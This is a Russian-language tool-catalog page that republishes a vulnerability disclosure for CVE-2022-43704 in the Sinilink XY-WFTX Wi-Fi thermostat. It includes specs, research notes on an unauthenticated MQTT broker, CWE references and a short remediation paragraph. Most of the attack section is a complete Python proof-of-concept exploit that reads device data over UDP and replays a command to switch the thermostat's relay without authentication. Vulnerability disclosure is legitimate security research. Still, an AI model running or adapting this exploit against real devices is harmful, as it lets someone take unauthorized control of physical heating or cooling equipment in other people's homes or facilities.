Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-43704 — Модуль удаленного термостата-контроллера температуры Sinilink XY-WFTX с Wi-Fi | Kitploit
Инструменты/GitHubGitHub/9lyph/cve-2022-43704
Аутентификация и авторизацияБезопасность встроенных системСниффинг и анализ пакетовРазведкаБезопасность IoTАнализ уязвимостейЭксплуатацияБезопасность беспроводных сетейТестирование на ПроникновениеБезопасность оборудования и IoT
GitHub
521 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
9lyph/cve-2022-43704

CVE-2022-43704

Модуль удаленного термостата-контроллера температуры Sinilink XY-WFTX с Wi-Fi

Репозиторий

CVE-2022-43704 – Доступность канала для неконечных точек/Обход аутентификации путем повторного захвата

Sinilink XY-WFTX Беспроводной модуль термостата Wifi, контроллер температуры

Заголовок

sinilink

Документация продукта

  • Приложение

  • Руководство пользователя

Аппаратное обеспечение

Таблицы данных

ESP8285

Понижающий преобразователь

Прошивка

Описание продукта

root@kitploit:~
Обзор

WIFI Удаленный термостат Модуль высокоточного контроллера температуры Охлаждение 
и нагрев Приложение Сбор температуры XY-WFT1 WFTX

Технические параметры

Отображение температуры: цифровой дисплей
Напряжение питания: DC 6~30В
USB питание: поддерживается
Диапазон контроля температуры: -40~110°C
Точность контроля температуры: 0,1°C
Диапазон измерения температуры NTC: -40~110°C
Поддержка 18B20: Да (-40~110°C)
Тип выхода: релейный переключатель, ток до 10А
Уведомление о тревоге: поддержка уведомления через WeChat
Облачная запись данных: 15 дней облачных записей, экспорт в любое время
Функция таймера включения/выключения: поддерживается

Ссылки

MITRE

[Exploit-DB]

Производитель

Sinilink.com

Исследование

  • Продукт использует websockets для установления связи с ws://mq.sinilink.com:8085/mqtt.
  • Эта конечная точка используется как MQTT-брокер и не требует аутентификации.

Карта поверхности атаки

Находка

Доступность канала для неконечных точек

  • Sinilink WiFi Remote Thermostat с прошивкой V1.3.6 позволяет злоумышленнику обойти требование общения через MQTT, вместо этого можно напрямую взаимодействовать с целевым устройством, повторяя команды протокола Sinilink. Это, в свою очередь, позволяет атаковать встроенное реле без аутентификации через мобильное приложение.
  • Целевое устройство должно находиться в «Ручном режиме» с предварительным условием «Включено, закрыто».

Предварительная настройка

Слабость/Уязвимость

  • CWE-300: Доступность канала для неконечных точек
  • CWE-294: Обход аутентификации путем повторного захвата

Известные затронутые конфигурации ПО

  • V1.3.6

POC-код

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

Шаги по устранению

  • Тщательно проверять подлинность участников на каждом конце канала связи. Недостаточная или непоследовательная проверка может привести к неполной или ошибочной идентификации каждого из общающихся участников. Это может иметь негативные последствия, такие как неверное доверие к участнику на другом конце канала. Злоумышленник может воспользоваться этим, вклинившись между общающимися сторонами и маскируясь под исходного участника. При отсутствии достаточной проверки подлинности такой злоумышленник может прослушивать и, возможно, изменять связь между исходными участниками.

Взлом

Обнаружено/Автор:

Victor Hanna из Exploit Security

Следуйте за мной

Mastodon Linkedin Youtube

Скачать инструмент